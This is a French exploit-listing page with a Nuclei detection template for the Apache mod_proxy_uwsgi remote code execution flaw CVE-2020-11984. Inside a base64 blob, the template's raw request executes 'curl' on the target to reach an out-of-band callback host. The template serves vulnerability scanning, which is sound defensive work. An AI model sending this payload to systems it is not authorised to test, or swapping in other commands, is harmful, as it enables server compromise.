Exploit matérialisé

CVE-2020-11984

CRITICAL

1 exploit(s) public(s) pour cette CVE, 1 matérialisé(s) avec leur code.

À des fins de recherche défensive uniquement. Ne testez que sur des systèmes que vous possédez ou pour lesquels vous détenez une autorisation écrite. L'accès non autorisé est illégal.

Nuclei critical Vérifié

Source

Apache HTTP Server - Remote Code Execution

Par projectdiscovery

Comment tester cet exploit

Le template Nuclei EST le test : une règle de détection exécutable. Installez nuclei, puis lancez-le contre une cible que vous contrôlez.

nuclei -id CVE-2020-11984 -u https://your-target

Template yaml

id: CVE-2020-11984

info:
  name: Apache HTTP Server - Remote Code Execution
  author: wofeiwo@80sec.com,pszyszkowski,pdresearch,iamnoooob
  severity: critical
  description: |
    Apache HTTP Server 2.4.32 to 2.4.44 contains an info disclosure and possible remote code execution caused by a vulnerability in mod_proxy_uwsgi, letting remote attackers access sensitive information and potentially execute arbitrary code, exploit requires sending crafted requests.
  impact: |
    Attackers can exploit the mod_proxy_uwsgi vulnerability to access sensitive information or execute arbitrary code on the Apache HTTP Server, potentially compromising the entire web server and its hosted applications.
  remediation: |
    Update Apache HTTP Server to version 2.4.45 or later.
  reference:
    - https://github.com/RubenBar/MLW-upcrans/tree/main/1.Exploit
    - https://nvd.nist.gov/vuln/detail/cve-2020-11984
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-11984
    cwe-id: CWE-120
    epss-score: 0.90039
    epss-percentile: 0.99785
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: http_server
    shodan-query: cpe:"cpe:2.3:a:apache:http_server"
  tags: cve,cve2020,apache,httpd,rce,vkev,vuln

variables:
  oast: ".{{interactsh-url}}"
  payload: "{{padding(oast,'a',54,'prefix')}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{replace(base64_decode('AHIAAAoAVVdTR0lfRklMRUsAZXhlYzovL2N1cmwgYWFhYWFhYWEuZmw0NGhoY240NHEydWtsdjI5YnB6dTR1amxwY2QzM3JzLm9hc3RpZnkuY29tOyBlY2hvICIiCwBTQ1JJUFRfTkFNRQoAL3BlbmV0cmF0ZQ=='),'aaaaaaaa.fl44hhcn44q2uklv29bpzu4ujlpcd33rs.oastify.com',payload)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and
# digest: 4b0a00483046022100c306f4ec05f5e614b5adc003a98fdb9779bb99edb511d37f2b1f3a0ae7db0d57022100aa901e5bd3b9d991f047b998ccf9230fde89055c394ba9111944e2a1b08f3083:922c64590222798bb761d5b6d8e72950